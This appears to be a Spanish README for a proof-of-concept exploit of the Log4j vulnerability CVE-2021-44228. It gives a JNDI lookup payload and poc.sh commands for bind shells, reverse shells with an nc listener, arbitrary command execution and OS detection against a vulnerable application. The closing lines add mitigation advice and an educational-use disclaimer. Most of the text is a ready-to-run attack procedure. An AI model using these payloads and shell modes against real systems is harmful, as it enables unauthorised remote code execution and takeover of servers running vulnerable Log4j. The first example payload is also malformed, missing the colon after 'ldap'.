
PoC para CVE-2021-44228.
Proyecto creado SOLO CON FINES EDUCATIVOS.
Este proyecto crea dos servidores: http y ldap. Ambos son necesarios para que el exploit funcione. El archivo java especificado se compila y los servidores se inician en el Dockerfile. El payload se muestra al usuario; debe pasarse a la aplicación vulnerable.
Payload de ejemplo:
${jndi:ldap//127.0.0.1:1389/a}
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
Hace que el programa se detenga durante 25 segundos
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
La detección de sistema operativo puede devolver 4 letras:
L para LinuxW para WindowsM para MacOSU para desconocidoSe publicó una técnica de bypass. Ejemplo aquí
La aplicación fue diseñada para mostrar cómo funciona. Para compilar y ejecutar el jar con una aplicación usa:
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
donde PAYLOAD es lo que devuelve el script ./poc.sh (p. ej. ${jndi:ldap://127.0.0.1:1389/1}).
Algunos créditos para proyectos y sitios web que se usaron durante la creación de este exploit:
Inicia la aplicación usando log4j con log4j2.formatMsgNoLookups establecido en true, o actualiza a log4j-2.15.0-rc1 o posterior. Las actualizaciones ya están disponibles; impleméntalas lo antes posible.
Este proyecto solo puede usarse con fines educativos. Usar este software contra sistemas objetivo sin permiso previo es ilegal, y el autor no será responsable de los daños derivados del mal uso de este software.